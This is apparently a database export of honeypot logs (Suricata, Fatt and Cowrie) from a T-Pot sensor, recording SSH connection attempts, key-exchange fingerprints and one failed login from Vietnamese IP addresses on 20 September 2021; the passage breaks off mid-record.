25081	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:24.802779+03	2021-09-20 14:15:09.636471+03	{"_id": "XQblAnwBvYTbRNuEdxcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 550994574556285, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51946, "dest_port": 22, "timestamp": "2021-09-20T11:09:24.802779Z", "@timestamp": "2021-09-20T11:09:24.802Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25082	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:24.626443+03	2021-09-20 14:15:09.637471+03	{"_id": "YwblAnwBvYTbRNuEeBcS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54072, "timestamp": "2021-09-20T11:09:24.626443", "@timestamp": "2021-09-20T11:09:24.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25083	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:25.071348+03	2021-09-20 14:15:09.63847+03	{"_id": "ewblAnwBvYTbRNuEehfy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1938110097446692, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38712, "dest_port": 22, "timestamp": "2021-09-20T11:09:25.071348Z", "@timestamp": "2021-09-20T11:09:25.071Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25084	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:25.890208+03	2021-09-20 14:15:09.63947+03	{"_id": "gAblAnwBvYTbRNuEexf6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54590, "timestamp": "2021-09-20T11:09:25.890208", "@timestamp": "2021-09-20T11:09:25.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25085	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:19.301686+03	2021-09-20 14:15:09.64147+03	{"_id": "7AblAnwBvYTbRNuEYxZ_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1885191804945341, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54786, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.301686Z", "@timestamp": "2021-09-20T11:09:19.301Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25086	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:09:39.968208+03	2021-09-20 14:15:09.64247+03	{"_id": "5wblAnwBvYTbRNuEsRis", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:09:39.968208+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "116.105.211.46", "flow_id": 1135636261357072, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35852, "timestamp": "2021-09-20T11:09:39.968208Z", "@timestamp": "2021-09-20T11:09:39.968Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25087	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:39.294533+03	2021-09-20 14:15:09.64347+03	{"_id": "6wblAnwBvYTbRNuEshi6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38666, "timestamp": "2021-09-20T11:09:39.294533", "@timestamp": "2021-09-20T11:09:39.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25093	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:39.455442+03	2021-09-20 14:15:09.652471+03	{"_id": "AQblAnwBvYTbRNuEsxlc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [library/library] failed", "session": "a945c314fc03", "@version": "1", "password": "library", "username": "library", "timestamp": "2021-09-20T11:09:39.455442Z", "@timestamp": "2021-09-20T11:09:39.455Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25088	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:39.680196+03	2021-09-20 14:15:09.64447+03	{"_id": "7AblAnwBvYTbRNuEshi6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35274, "timestamp": "2021-09-20T11:09:39.680196", "@timestamp": "2021-09-20T11:09:39.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25089	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:39.99859+03	2021-09-20 14:15:09.646471+03	{"_id": "7QblAnwBvYTbRNuEshi6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42572, "timestamp": "2021-09-20T11:09:39.998590", "@timestamp": "2021-09-20T11:09:39.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25090	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:39.690412+03	2021-09-20 14:15:09.64847+03	{"_id": "7gblAnwBvYTbRNuEsxhc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:40176 (192.168.176.2:22) [session: 50123e90af28]", "session": "50123e90af28", "@version": "1", "protocol": "ssh", "src_port": 40176, "dest_port": 22, "timestamp": "2021-09-20T11:09:39.690412Z", "@timestamp": "2021-09-20T11:09:39.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25091	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:39.993678+03	2021-09-20 14:15:09.64947+03	{"_id": "7wblAnwBvYTbRNuEsxhc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:42572 (192.168.176.2:22) [session: 490ee088a5c2]", "session": "490ee088a5c2", "@version": "1", "protocol": "ssh", "src_port": 42572, "dest_port": 22, "timestamp": "2021-09-20T11:09:39.993678Z", "@timestamp": "2021-09-20T11:09:39.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25092	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:40.282066+03	2021-09-20 14:15:09.650471+03	{"_id": "8AblAnwBvYTbRNuEsxhc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:42392 (192.168.176.2:22) [session: 53def5f3cfdc]", "session": "53def5f3cfdc", "@version": "1", "protocol": "ssh", "src_port": 42392, "dest_port": 22, "timestamp": "2021-09-20T11:09:40.282066Z", "@timestamp": "2021-09-20T11:09:40.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25094	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:39.61083+03	2021-09-20 14:15:09.6535+03	{"_id": "AgblAnwBvYTbRNuEsxlc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "62d0772e9307", "@version": "1", "timestamp": "2021-09-20T11:09:39.610830Z", "@timestamp": "2021-09-20T11:09:39.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25095	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:39.996465+03	2021-09-20 14:15:09.6545+03	{"_id": "AwblAnwBvYTbRNuEsxlc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "490ee088a5c2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:39.996465Z", "@timestamp": "2021-09-20T11:09:39.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25096	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:40.116469+03	2021-09-20 14:15:09.656503+03	{"_id": "BAblAnwBvYTbRNuEsxlc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "50123e90af28", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:40.116469Z", "@timestamp": "2021-09-20T11:09:40.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25097	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:40.117137+03	2021-09-20 14:15:09.6575+03	{"_id": "BQblAnwBvYTbRNuEsxlc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", 